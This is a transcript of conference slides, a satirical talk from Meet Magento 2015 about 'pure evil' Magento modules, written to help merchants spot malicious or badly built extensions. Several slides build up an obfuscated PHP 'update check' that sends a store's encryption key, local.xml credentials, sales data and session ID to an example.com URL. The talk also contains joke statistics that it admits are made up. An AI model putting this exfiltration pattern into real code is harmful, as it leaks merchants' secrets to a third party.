how to build a pure evil magento module
TRANSCRIPT
Pure Evil How to Build a
Meet Magento 2015 – Leipzig, Germany
Fabrizio Branca
Magento Module
fbrnc
fbrnc
San Francisco, CA
Janine
Fiona
that’s me
Leo
Lake Tahoe, California
87.44%* of all modules
(both paid or free) are known to be a
major risk
*Note: Some statistics in this presentation may or may not be randomly made up based on wild guesses.
Goals
help you spot evil modules and avoid installing
them
1 motivate vendors
to rethink their “best practices”
2 make YOU write better modules
3
Disclaimer:
Persons (or Companies) Living or Dead Is
Purely Coincidental
Any Similarity to
Magento Module How to Build a Pure Evil
in 51 simple steps
Okay, let’s get started:
7
Name
http://magename.me/
Mage Pro Gento
Security
http://example.com/news.xml
Annoying, huh?
http://example.com/news.xml ?rlWgMKAmLJqyVwbvV09jMJ5Go3IlL2IFo2AeplRvsD%3Q%3Q
…and how do you feel about this?!
“http://example.com/news.xml?”.
“http://example.com/news.xml?”. str_rot13(urlencode(base64_encode(json_encode(array( 'module_version' => Mage::getConfig()->getModuleConfig("MageGento_Pro")->version )))));
“http://example.com/news.xml?”. str_rot13(urlencode(base64_encode(json_encode(array( 'module_version' => Mage::getConfig()->getModuleConfig("MageGento_Pro")->version, 'magento_version' => Mage::getVersion() )))));
“http://example.com/news.xml?”. str_rot13(urlencode(base64_encode(json_encode(array( 'module_version' => Mage::getConfig()->getModuleConfig("MageGento_Pro")->version, 'magento_version' => Mage::getVersion(), 'install_date' => Mage::getConfig()->getNode('global/install/date') )))));
“http://example.com/news.xml?”. str_rot13(urlencode(base64_encode(json_encode(array( 'module_version' => Mage::getConfig()->getModuleConfig("MageGento_Pro")->version, 'magento_version' => Mage::getVersion(), 'install_date' => Mage::getConfig()->getNode('global/install/date'), 'lifetime_sales' => $sales->getLifetime(), 'average_orders' => $sales->getAverage() )))));
“http://example.com/news.xml?”. str_rot13(urlencode(base64_encode(json_encode(array( 'module_version' => Mage::getConfig()->getModuleConfig("MageGento_Pro")->version, 'magento_version' => Mage::getVersion(), 'install_date' => Mage::getConfig()->getNode('global/install/date'), 'lifetime_sales' => $sales->getLifetime(), 'average_orders' => $sales->getAverage(), 'crypt_key' => Mage::getConfig()->getNode('global/crypt/key') )))));
“http://example.com/news.xml?”. str_rot13(urlencode(base64_encode(json_encode(array( 'module_version' => Mage::getConfig()->getModuleConfig("MageGento_Pro")->version, 'magento_version' => Mage::getVersion(), 'install_date' => Mage::getConfig()->getNode('global/install/date'), 'lifetime_sales' => $sales->getLifetime(), 'average_orders' => $sales->getAverage(), 'crypt_key' => Mage::getConfig()->getNode('global/crypt/key'), 'local.xml' => file_get_contents('app/etc/local.xml') )))));
“http://example.com/news.xml?”. str_rot13(urlencode(base64_encode(json_encode(array( 'module_version' => Mage::getConfig()->getModuleConfig("MageGento_Pro")->version, 'magento_version' => Mage::getVersion(), 'install_date' => Mage::getConfig()->getNode('global/install/date'), 'lifetime_sales' => $sales->getLifetime(), 'average_orders' => $sales->getAverage(), 'crypt_key' => Mage::getConfig()->getNode('global/crypt/key'), 'local.xml' => file_get_contents('app/etc/local.xml'), 'session_id' => Mage::getSingleton('core/session')->getEncryptedSessionId() )))));
You need to trust EVERY. SINGLE. LINE. you deploy to your server!
Average number of modules
~10
Launch
>100
After 2 years
per Magento store https://twitter.com/ProductPaul/status/584393641575088128
Note: sample size may or may not be significant.
malicious
vulnerable vs
Scalability Performance
Chances your module ends up on an installation with …
…more products
than on your
devbox
…a higher order
volume than on
your devbox
…more
concurrent users
than on your
devbox
73.25% 80.77% 98.53%
“Always do queries inside loops to support sales of full page cache extensions.” http://meta.magento.stackexchange.com/questions/288/funny-
useless-horrible-code-from-magento-extensions
Assume all instances Problem:
share a file system
If your infrastructure looks more like this:
Route 53
ELB
CloudFront:
Theme (JS/CSS,…)
CloudFront:
media files
Internet
S3:
media
files
S3: build
packages
Continuous
Integration
Pipeline (Jenkins)
OpsWorks
Availability Zone
AWS
CloudFormation
CloudWatch
✓
✓inherently fault tolerant
✓
✓ ✓ ✓
✓
Redis:
Sessions Redis:
Cache Backend RDS DB
instance
RDS DB
instance standby
(Multi-AZ)
✓ ✓
Auto Scaling Group
Frontend Layer Backend Layer
Worker Layer
Varnish Layer
Data Layer
RDS DB Read
replica (for
reports)
Redis:
Full page cache
backend
✓
Production
Stack
External Services
(Fulfillment, DRM,
Giftcards,…)
SES:
Transactional
emails
✓
SQS:
Queue
✓
“Stack” (= Environment)
“Layers”
App Instances
rather than this:
Internet
then you most likely don’t have a shared file system
Please do not let your “configurable theme” dynamically generate skin files with custom CSS values.
How do you handle… version control?
multi-server setups? auto-scaling?
file permissions?
Code Quality
ini_set
display_errors
memory_limit
max_execution_time
shutdown_function
spl_autoload_register
…
Don’t mess with PHP
Rewrites of important classes
Overwrites
Core Hacks
Events
Framework behavior
Core Concepts
Compilation
…
Don’t mess with Magento
…unless this is what your module
is all about
<?xml version="1.0"?> <config> <global> <events> <controller_action_predispatch> <observers> <magegento_pro_license_check> <class>magegento_pro/observer</class> <method>licenseCheck</method> </magegento_pro_license_check> <magegento_pro_update_check> <class>magegento_pro/observer</class> <method>updateCheck</method> </magegento_pro_update_check>
</observers> </controller_action_predispatch> </events> </global> </config>
Be readable
foreach ($collection as $product) { /* @var $product Mage_Core_Model_Product */ ... }
Be specific
!is_null($adminKey) && $adminKey != '' && $request['auth']['admin_key'] = $adminKey;
Don’t Be fancy
I don’t always test my code.
But when I do I do it on production.
Testcases?
That’s only for over-achievers!
Jenkins Travis CI Use Jenkins to implement a full deployment pipeline for
your projects!
Test our Open Source Magento modules with Travis CI!
Dependencies
PHP version & extensions
3rd party libraries
3rd party services
other Magento modules
1. Avoid Dependencies 2. Declare Dependencies
any dependency increases the complexity significantly
Teacher Syndrome*
*http://www.urbandictionary.com/define.php?term=Teacher+Syndrome
http://example.com/logo.gif ?rlWgMKAmLJqyVwbvV09jMJ5Go3IlL2IFo2AeplRvsD%3Q%3Q
http://example.com/clear.gif ?rlWgMKAmLJqyVwbvV09jMJ5Go3IlL2IFo2AeplRvsD%3Q%3Q
ZZZ_MageGento_Pro.xml app/etc/modules/
Installation Support
discover use
code
review
add
modman
add
composer git integrate test
deploy
The Right Thing™
download
good luck with that!
pay $xx
to author provide FTP
access
seriously?!
one-click
install
Module Installation
upload
“Step 1”
upload
“Step 2”
clear
caches
You need to trust EVERY. SINGLE. LINE. you deploy to your server!
How do you handle… version control?
multi-server setups? auto-scaling?
file permissions?
Transparency
Find your sweet spot
GitHub ionCube
Find your sweet spot
GitHub ionCube
Find your sweet spot
GitHub ionCube
https://twitter.com/benmarks/status/593807195768127488
Forecast risk a new
module crashes
your store
developer
happiness
http://freakonomics.com/2015/01/15/thats-a-great-question-a-new-freakonomics-radio-podcast/
Chances a speaker begins his answer with
“That’s a great question!” (...even if the question wasn’t that great.)
78.84%
USA
23.47%
Europe
Thank you!
http://www.aoe.com
http://fbrnc.net
@fbrnc Follow me on twitter!
My blog